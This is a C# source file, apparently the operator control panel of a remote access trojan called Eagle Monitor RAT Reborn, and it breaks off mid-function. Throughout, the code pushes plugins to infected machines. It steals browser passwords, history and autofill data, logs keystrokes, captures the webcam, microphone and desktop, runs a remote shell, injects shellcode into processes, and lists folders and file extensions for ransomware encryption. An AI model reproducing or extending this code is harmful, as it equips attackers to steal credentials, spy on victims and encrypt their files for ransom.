    "content": "﻿using Eagle_Monitor_RAT_Reborn.Controls;\nusing Eagle_Monitor_RAT_Reborn.Network;\nusing FastColoredTextBoxNS;\nusing Microsoft.CSharp;\nusing Microsoft.VisualBasic;\nusing NAudio.Wave;\nusing Newtonsoft.Json;\nusing PacketLib;\nusing PacketLib.Packet;\nusing System;\nusing System.Collections.Generic;\nusing System.Drawing;\nusing System.IO;\nusing System.Text;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn\n{\n    internal partial class ClientForm : FormPattern\n    {\n        internal ClientHandler ClientHandler { get; set; }\n        internal RemoteDesktopHandler RemoteDesktopHandler { get; set; }\n        internal RemoteWebCamHandler RemoteWebCamHandler { get; set; }\n        internal RemoteMicrophoneHandler RemoteMicrophoneHandler { get; set; }\n        internal KeyloggerHandler KeyloggerHandler { get; set; }\n        internal ChatHandler ChatHandler { get; set; }\n        internal RemoteShellHandler RemoteShellHandler { get; set; }\n\n        internal long DownloadFileTicket { get; set; }\n        internal Dictionary<long, DataGridViewRow> DownloadList { get; set; }\n\n        internal long DeleteFileTicket { get; set; }\n        internal Dictionary<long, DataGridViewRow> DeleteList { get; set; }\n\n        internal ClientForm(ClientHandler clientHandler)\n        {\n            InitializeComponent();\n            this.ClientHandler = clientHandler;\n            this.DownloadFileTicket = 0;\n            this.DownloadList = new Dictionary<long, DataGridViewRow>();\n\n            this.DeleteFileTicket = 0;\n            this.DeleteList = new Dictionary<long, DataGridViewRow>();\n\n            if (this.ClientHandler.IsAdmin)\n                this.askUACGuna2Button.Enabled = false;\n        }\n\n        private void ClientForm_Load(object sender, EventArgs e)\n        {\n            SetLocalAudioDevices();\n            SetUI();\n        }\n\n        #region \"UI Fixes + ControlBoxes\"\n        private void SetUI()\n        {\n            this.SuspendLayout();\n            #region \"Double buffer\"\n            Utils.Enable(this.passwordsDataGridView);\n            Utils.Enable(this.historyDataGridView);\n\n            Utils.Enable(this.keywordsDataGridView);\n            Utils.Enable(this.autofillDataGridView);\n\n            Utils.Enable(this.fileManagerDataGridView);\n            Utils.Enable(this.dowloadFileDataGridView);\n            Utils.Enable(this.processDataGridView);\n\n            Utils.Enable(this.importLibDataGridView);\n            Utils.Enable(this.shellcodeDataGridView);\n            Utils.Enable(this.managedPEDataGridView);\n            Utils.Enable(this.nativePEDataGridView);\n\n            Utils.Enable(this.systemInformationDataGridView);\n            Utils.Enable(this.componentsDataGridView);\n            Utils.Enable(this.cpuDataGridView);\n            Utils.Enable(this.networkInformationDataGridView);\n\n            Utils.Enable(this.pathRansomwareDataGridView);\n            #endregion\n            #region \"Vertical Scrollbar\"\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.passwordsDataGridView, this.guna2VScrollBar1, true);\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.historyDataGridView, this.guna2VScrollBar2, true);\n\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(autofillDataGridView, this.guna2VScrollBar5, true);\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(keywordsDataGridView, this.guna2VScrollBar6, true);\n\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.fileManagerDataGridView, this.guna2VScrollBar3, true);\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.processDataGridView, this.guna2VScrollBar4, true);\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.dowloadFileDataGridView, this.guna2VScrollBar7, true);\n\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.shellcodeDataGridView, this.guna2VScrollBar8, true);\n\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.cpuDataGridView, this.guna2VScrollBar9, true);\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.componentsDataGridView, this.guna2VScrollBar10, true);\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.systemInformationDataGridView, this.guna2VScrollBar11, true);\n\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.restorePointDataGridView, this.guna2VScrollBar12, true);\n\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.pathRansomwareDataGridView, this.guna2VScrollBar13, true);\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.extensionRansomwareDataGridView, this.guna2VScrollBar14, true);\n\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.networkInformationDataGridView, this.guna2VScrollBar15, true);\n            #endregion\n            #region \"TabImage\"\n            Utils.SetTabImage(this.mainGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_database_backup,\n                Properties.Resources.icons8_file_explorer,\n                Properties.Resources.icons8_system_task,\n                Properties.Resources.icons8_remote_desktop,\n                Properties.Resources.icons8_control_panel,\n                Properties.Resources.icons8_microsoft_admin,\n                Properties.Resources.icons8_security_document,\n                Properties.Resources.icons8_computer_virus\n            });\n   \n            Utils.SetTabImage(this.recoveryGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_key,\n                Properties.Resources.icons8_time_machine,\n                Properties.Resources.icons8_text_input_form,\n                Properties.Resources.icons8_single_line_text_input\n            });\n\n            Utils.SetTabImage(this.remoteGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_imac,\n                Properties.Resources.icons8_video_call,\n                Properties.Resources.icons8_microphone\n            });\n\n            Utils.SetTabImage(this.fileManagerGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_file_explorer,\n                Properties.Resources.icons8_download\n            });     \n\n            Utils.SetTabImage(this.miscellaneousGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_computer_virus,\n                Properties.Resources.icons8_keyboard,\n                Properties.Resources.icons8_information,\n                Properties.Resources.icons8_question_mark,\n                Properties.Resources.icons8_chat\n            });\n\n            Utils.SetTabImage(this.memoryExecutionGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_c_plus_plus,\n                Properties.Resources.icons8_Binary_Code,\n                Properties.Resources.icons8_source_code,\n                Properties.Resources.icons8_visual_basic\n            });\n\n            Utils.SetTabImage(this.ransomwareGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_private_folder,\n                Properties.Resources.icons8_settings,\n                Properties.Resources.icons8_lock_file\n            });\n\n            Utils.SetTabImage(this.informationGuna2TabControl, new Icon[] \n            {\n                Properties.Resources.icons8_electronics,\n                Properties.Resources.icons8_ethernet_on\n            });\n            #endregion\n\n            Misc.DotNetCodeExecution.RowAdder(\"System.dll\", this.importLibDataGridView);\n            Misc.DotNetCodeExecution.RowAdder(\"Microsoft.VisualBasic.dll\", this.importLibDataGridView);\n            Misc.DotNetCodeExecution.RowAdder(\"System.Windows.Forms.dll\", this.importLibDataGridView);\n            Misc.DotNetCodeExecution.RowAdder(\"System.Management.dll\", this.importLibDataGridView);\n            Misc.DotNetCodeExecution.RowAdder(\"System.Drawing.dll\", this.importLibDataGridView);\n\n            string extensionsPath = this.ClientHandler.ClientPath + \"\\\\Ransomware\\\\extensions.txt\";\n\n            if (!File.Exists(extensionsPath))\n            {\n                File.WriteAllText(extensionsPath, Properties.Resources.extensions);\n            }\n\n            string[] extensions = File.ReadAllLines(extensionsPath);\n            foreach (string extension in extensions)\n            {\n                int rowId = this.extensionRansomwareDataGridView.Rows.Add();\n\n                DataGridViewRow row = this.extensionRansomwareDataGridView.Rows[rowId];\n\n                row.Cells[\"Column47\"].Value = extension;\n            }\n\n            string pathAffectecd = this.ClientHandler.ClientPath + \"\\\\Ransomware\\\\paths.txt\";\n\n            if (File.Exists(pathAffectecd))\n            {\n                string[] paths = File.ReadAllLines(pathAffectecd);\n                foreach (string path in paths)\n                {\n                    int rowId = this.pathRansomwareDataGridView.Rows.Add();\n\n                    DataGridViewRow row = this.pathRansomwareDataGridView.Rows[rowId];\n\n                    row.Cells[\"Column46\"].Value = path;\n                }\n            }\n            this.ResumeLayout();\n        }\n        private void closeGuna2ControlBox_Click(object sender, EventArgs e)\n        {\n            FixClientHandlersBeforeLeaving();\n\n            StringBuilder pathAffected = new StringBuilder();\n\n            foreach (DataGridViewRow row in this.pathRansomwareDataGridView.Rows)\n            {\n                pathAffected.AppendLine(row.Cells[0].Value.ToString());\n            }\n            File.WriteAllText(this.ClientHandler.ClientPath + \"\\\\Ransomware\\\\paths.txt\", pathAffected.ToString());\n\n            StringBuilder extensions = new StringBuilder();\n\n            foreach (DataGridViewRow row in this.extensionRansomwareDataGridView.Rows)\n            {\n                extensions.AppendLine(row.Cells[0].Value.ToString());          \n            }\n            File.WriteAllText(this.ClientHandler.ClientPath + \"\\\\Ransomware\\\\extensions.txt\", extensions.ToString());\n\n            if ((passwordsDataGridView.Rows.Count > 0 || historyDataGridView.Rows.Count > 0 || keywordsDataGridView.Rows.Count > 0 || autofillDataGridView.Rows.Count > 0) && !Program.settings.autoSaveRecovery)\n            {\n                DialogResult r = MessageBox.Show(\"It seems that some data have not been saved. Do you want to save them before closing ?\", \"Data not saved\", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Information);\n                if (r == DialogResult.Yes)\n                {\n                    Misc.Utils.ToCSV(this.passwordsDataGridView, this.ClientHandler.ClientPath + \"\\\\Passwords\\\\\" + Misc.Utils.DateFormater() + \".csv\");\n                    Misc.Utils.ToCSV(this.historyDataGridView, this.ClientHandler.ClientPath + \"\\\\History\\\\\" + Misc.Utils.DateFormater() + \".csv\");\n\n                    Misc.Utils.ToCSV(this.ClientHandler.ClientForm.keywordsDataGridView, this.ClientHandler.ClientPath + \"\\\\Keywords\\\\\" + Misc.Utils.DateFormater() + \".csv\");\n                    Misc.Utils.ToCSV(this.ClientHandler.ClientForm.autofillDataGridView, this.ClientHandler.ClientPath + \"\\\\Autofill\\\\\" + Misc.Utils.DateFormater() + \".csv\");\n\n                    this.Close();\n                }\n\n                if (r == DialogResult.No)\n                    this.Close();\n\n                if (r == DialogResult.Cancel)\n                    return;\n\n            }\n            else\n                this.Close();\n        }\n\n        private void FixClientHandlersBeforeLeaving()\n        {\n            if (this.RemoteDesktopHandler != null)\n            {\n                mouseGuna2ToggleSwitch.Checked = false;\n                keyboardGuna2ToggleSwitch.Checked = false;\n\n                RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_OFF)\n                {\n                    BaseIp = this.ClientHandler.IP,\n                    HWID = this.ClientHandler.HWID\n                };\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket);\n              //  this.remoteDesktopHandler.clientHandler.StartSendData(remoteViewerPacket);\n            }\n\n            if (this.RemoteWebCamHandler != null)\n            {\n                RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF)\n                {\n                    BaseIp = this.ClientHandler.IP,\n                    HWID = this.ClientHandler.HWID\n                };\n                ClientHandler.StartSendData(this.RemoteWebCamHandler.ClientHandler, remoteCameraCapturePacket);\n                //this.remoteWebCamHandler.clientHandler.StartSendData(remoteCameraCapturePacket);\n            }\n\n            if (this.RemoteMicrophoneHandler != null)\n            {\n                RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF)\n                {\n                    BaseIp = this.ClientHandler.IP,\n                    HWID = this.ClientHandler.HWID\n                };\n                ClientHandler.StartSendData(this.RemoteMicrophoneHandler.ClientHandler, remoteAudioCapturePacket);\n            }\n\n            if (this.KeyloggerHandler != null)\n            {\n                KeylogPacket keylogPacket = new KeylogPacket(this.ClientHandler.IP, this.ClientHandler.HWID) \n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Keylogger.dll\"), 1)\n                };\n\n                ClientHandler.StartSendData(this.KeyloggerHandler.ClientHandler, keylogPacket);\n                this.keyloggerGuna2Button.Text = \"Start\";\n                File.WriteAllText(this.ClientHandler.ClientPath + \"\\\\Keystrokes\\\\\" + Misc.Utils.DateFormater() + \".txt\", this.keystrokeRichTextBox.Text);\n            }\n\n            if (this.ChatHandler != null)\n            {\n                RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF)\n                {\n                    BaseIp = this.ClientHandler.IP\n                };\n                ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket);\n                this.chatGuna2Button.Text = \"Start\";\n            }\n  \n            if (this.RemoteShellHandler != null)\n            {\n                StopShellSessionPacket stopShellSessionPacket = new StopShellSessionPacket()\n                {\n                    BaseIp = this.ClientHandler.IP,\n                    HWID = this.ClientHandler.HWID\n                };\n                ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, stopShellSessionPacket);\n                this.remoteShellGuna2Button.Text = \"Start Session\";\n            }\n        }\n\n        private void logoPictureBox_MouseDown(object sender, MouseEventArgs e)\n        {\n            Utils.MoveForm(this);\n        }\n\n        private void clientLabel_MouseDown(object sender, MouseEventArgs e)\n        {\n            Utils.MoveForm(this);\n        }\n\n        private void ClientForm_MouseLeave(object sender, EventArgs e)\n        {\n            this.passwordsDataGridView.ClearSelection();\n            this.passwordsDataGridView.CurrentCell = null;\n\n            this.historyDataGridView.ClearSelection();\n            this.historyDataGridView.CurrentCell = null;\n\n            this.fileManagerDataGridView.ClearSelection();\n            this.fileManagerDataGridView.CurrentCell = null;\n\n            this.autofillDataGridView.ClearSelection();\n            this.autofillDataGridView.CurrentCell = null;\n\n            this.keywordsDataGridView.ClearSelection();\n            this.keywordsDataGridView.CurrentCell = null;\n\n            this.dowloadFileDataGridView.ClearSelection();\n            this.dowloadFileDataGridView.CurrentCell = null;\n\n            this.cpuDataGridView.ClearSelection();\n            this.cpuDataGridView.CurrentCell = null;\n\n            this.componentsDataGridView.ClearSelection();\n            this.componentsDataGridView.CurrentCell = null;\n\n            this.systemInformationDataGridView.ClearSelection();\n            this.systemInformationDataGridView.CurrentCell = null;\n\n            this.processDataGridView.ClearSelection();\n            this.processDataGridView.CurrentCell = null;\n        }\n        #endregion\n        #region \"Recovery\"  \n        private void getPasswordToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            PasswordsPacket passwordsPacket = new PasswordsPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Stealer.dll\"), 1)\n            };\n\n            ClientHandler.StartSendData(this.ClientHandler, passwordsPacket);\n        }\n\n        private void passwordsDataGridView_MouseUp(object sender, System.Windows.Forms.MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = passwordsDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    passwordsDataGridView.ClearSelection();\n                    passwordsDataGridView.CurrentCell = null;\n                }\n            }\n        }\n     \n        private void historyToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            HistoryPacket historyPacket = new HistoryPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Stealer.dll\"), 1)\n            };\n\n            ClientHandler.StartSendData(this.ClientHandler, historyPacket);\n        }\n\n        private void historyDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = historyDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    historyDataGridView.ClearSelection();\n                    historyDataGridView.CurrentCell = null;\n                }\n            }\n        }\n       \n\n        private void autofillToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            AutofillPacket autofillPacket = new AutofillPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Stealer.dll\"), 1)\n            };\n\n            ClientHandler.StartSendData(this.ClientHandler, autofillPacket);\n        }\n\n        private void keywordsToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n\n            KeywordsPacket keywordsPacket = new KeywordsPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Stealer.dll\"), 1)\n            };\n\n            ClientHandler.StartSendData(this.ClientHandler, keywordsPacket);\n        }\n\n        private void keywordsDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = keywordsDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    keywordsDataGridView.ClearSelection();\n                    keywordsDataGridView.CurrentCell = null;\n                }\n            }\n        }\n\n        private void autofillDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = autofillDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    autofillDataGridView.ClearSelection();\n                    autofillDataGridView.CurrentCell = null;\n                }\n            }\n        }\n\n        #endregion\n        #region \"File Manager\"\n        private void refreshToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            DiskPacket diskPacket = new DiskPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, diskPacket);\n        }\n\n        private void disksGuna2ComboBox_SelectedIndexChanged(object sender, EventArgs e)\n        {\n            this.labelPath.Text = disksGuna2ComboBox.Text;\n            FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n            };\n            ClientHandler.StartSendData(ClientHandler, fileManagerPacket);\n        }\n\n        private void goToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            if (fileManagerDataGridView.SelectedRows.Count == 1)\n            {\n                if (fileManagerDataGridView.SelectedRows[0].Cells[2].Value.ToString() == \"Directory\")\n                {\n                    string newPath = labelPath.Text + fileManagerDataGridView.SelectedRows[0].Cells[1].Value.ToString() + \"\\\\\";\n                    this.labelPath.Text = newPath;\n                    FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text)\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n                    };\n                    ClientHandler.StartSendData(ClientHandler, fileManagerPacket);\n                }\n            }\n        }\n\n        private void backToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            if (this.labelPath.Text.Length > 3)\n            {\n                string[] Splitter = this.labelPath.Text.Split('\\\\');\n                string NewPath = null;\n                for (var i = 0; i <= Splitter.Length - 3; i++)\n                {\n                    NewPath += Splitter[i] + \"\\\\\";\n                }\n                this.labelPath.Text = NewPath;\n                FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n                };\n                ClientHandler.StartSendData(ClientHandler, fileManagerPacket);\n            }\n        }\n\n        private void fileManagerDataGridView_MouseDoubleClick(object sender, MouseEventArgs e)\n        {\n            if (fileManagerDataGridView.SelectedRows.Count == 1)\n            {\n                if (fileManagerDataGridView.SelectedRows[0].Cells[2].Value.ToString() == \"Directory\")\n                {\n                    string newPath = labelPath.Text + fileManagerDataGridView.SelectedRows[0].Cells[1].Value.ToString() + \"\\\\\";\n                    this.labelPath.Text = newPath;\n                    FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text)\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n                    };\n                    ClientHandler.StartSendData(ClientHandler, fileManagerPacket);\n                }\n            }\n        }\n        private void downloadFileToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow file in fileManagerDataGridView.SelectedRows)\n            {\n                if (file.Cells[2].Value.ToString() == \"Directory\")\n                    continue;\n                else\n                {\n                    int rowId = this.dowloadFileDataGridView.Rows.Add();\n                    DataGridViewRow row = this.dowloadFileDataGridView.Rows[rowId];\n\n                    row.Cells[\"Column29\"].Tag = 0;//bytes\n                    row.Cells[\"Column30\"].Tag = 0;//%\n                    row.Tag = file.Tag;//full bytes size\n\n                    row.Cells[\"Column28\"].Value = Misc.Utils.SplitPath(labelPath.Text + file.Cells[1].Value.ToString());\n                    row.Cells[\"Column29\"].Value = $\"{row.Cells[\"Column29\"].Tag} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}\";\n                    row.Cells[\"Column30\"].Value = \"0%\";\n                    row.Cells[\"Column10\"].Value = labelPath.Text + file.Cells[1].Value.ToString();\n                    //row.Cells[\"Column2\"].Value = connectedPacket.HWID;\n                }\n            }\n        }\n\n        private void startDownloadFileToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow file in dowloadFileDataGridView.SelectedRows)\n            {\n                DownloadFilePacket dowloadFilePacket = new DownloadFilePacket(file.Cells[3].Value.ToString(), DownloadFileTicket)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1),\n                    bufferSize = Program.settings.bufferSize\n                };\n\n                DownloadList.Add(DownloadFileTicket, file);\n                ClientHandler.StartSendData(this.ClientHandler, dowloadFilePacket);\n                DownloadFileTicket += 1;\n            }\n        }\n        private void deleteFileToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow file in fileManagerDataGridView.SelectedRows)\n            {\n                if (file.Cells[2].Value.ToString() == \"Directory\")\n                    continue;\n                else\n                {\n                    string fullPath = labelPath.Text + file.Cells[1].Value.ToString();\n                    DeleteFilePacket deleteFilePacket = new DeleteFilePacket(fullPath, Misc.Utils.SplitPath(fullPath), DeleteFileTicket)\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n                    };\n\n                    DeleteList.Add(DeleteFileTicket, file);\n                    ClientHandler.StartSendData(this.ClientHandler, deleteFilePacket);\n                    DeleteFileTicket += 1;\n                }\n            }\n        }\n        #region \"Shortcuts\"\n        private void downloadSToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DOWNLOADS)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n            };\n            ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket);\n        }\n\n        private void desktopSToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DESKTOP)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n            };\n            ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket);\n        }\n\n        private void documentsSToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DOCUMENTS)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n            };\n            ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket);\n        }\n\n        private void userProfileSToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.USER_PROFILE)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\FileManager.dll\"), 1)\n            };\n            ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket);\n        }\n        #endregion\n        #region \"Directory\"\n\n        private void addRansomwareToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow directory in fileManagerDataGridView.SelectedRows)\n            {\n                if (directory.Cells[2].Value.ToString() == \"File\")\n                    continue;\n                else\n                {\n                    string fullPath = labelPath.Text + directory.Cells[1].Value.ToString();\n\n                    int rowId = pathRansomwareDataGridView.Rows.Add();\n                    DataGridViewRow row = pathRansomwareDataGridView.Rows[rowId];\n\n                    row.Cells[\"Column46\"].Value = fullPath.ToString();\n                }\n            }\n        }\n        #endregion\n        private void fileManagerDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = fileManagerDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    fileManagerDataGridView.ClearSelection();\n                    fileManagerDataGridView.CurrentCell = null;\n                }\n            }\n        }\n        private void dowloadFileDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = dowloadFileDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    dowloadFileDataGridView.ClearSelection();\n                    dowloadFileDataGridView.CurrentCell = null;\n                }\n            }\n        }\n        #endregion\n        #region \"Process Manager\"\n        private void refreshProcessToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            ProcessManagerPacket processManagerPacket = new ProcessManagerPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\ProcessManager.dll\"), 1)\n            };\n            ClientHandler.StartSendData(ClientHandler, processManagerPacket);\n        }\n\n        private void killToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow selected in processDataGridView.SelectedRows)\n            {\n                int procId = int.Parse(selected.Cells[1].Value.ToString());\n                ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(procId, selected.Cells[2].Value.ToString(), selected.Index)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\ProcessManager.dll\"), 1)\n                };\n                ClientHandler.StartSendData(ClientHandler, processKillerPacket);\n            }\n        }\n\n        private void suspendToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow selected in processDataGridView.SelectedRows)\n            {\n                int procId = int.Parse(selected.Cells[1].Value.ToString());\n                SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\ProcessManager.dll\"), 1)\n                };\n                ClientHandler.StartSendData(ClientHandler, suspendProcessPacket);\n            }\n        }\n\n        private void resumeToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow selected in processDataGridView.SelectedRows)\n            {\n                int procId = int.Parse(selected.Cells[1].Value.ToString());\n                ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\ProcessManager.dll\"), 1)\n                };\n                ClientHandler.StartSendData(ClientHandler, resumeProcessPacket);\n            }\n        }\n\n        private void shellcodeInjectionToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            ProcessInjectionPacket processInjectionPacket;\n            using (OpenFileDialog ofd = new OpenFileDialog())\n            {\n                if (ofd.ShowDialog() == DialogResult.OK)\n                {\n                    foreach (DataGridViewRow selected in processDataGridView.SelectedRows)\n                    {\n                        int procId = int.Parse(selected.Cells[1].Value.ToString());\n                        byte[] payload = Compressor.QuickLZ.Compress(File.ReadAllBytes(ofd.FileName), 1);\n                        switch (Program.settings.processInjectionMethod)\n                        {\n                            case ProcessInjectionPacket.INJECTION_METHODS.CLASSIC:\n                                processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.CLASSIC, procId)\n                                {\n                                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\ProcessManager.dll\"), 1)\n                                };\n                                ClientHandler.StartSendData(ClientHandler, processInjectionPacket);\n                                break;\n                            case ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW:\n                                processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW, procId)\n                                {\n                                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\ProcessManager.dll\"), 1)\n                                };\n                                ClientHandler.StartSendData(ClientHandler, processInjectionPacket);\n                                break;\n                        }\n                    }\n                }\n            }\n        }\n\n        #endregion\n        #region \"Remote Desktop\"\n        private List<Keys> keysPressed;\n        internal bool enabledMouse { get; set; }\n        internal bool enableKeyboard { get; set; }\n\n        private void captureGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e)\n        {\n    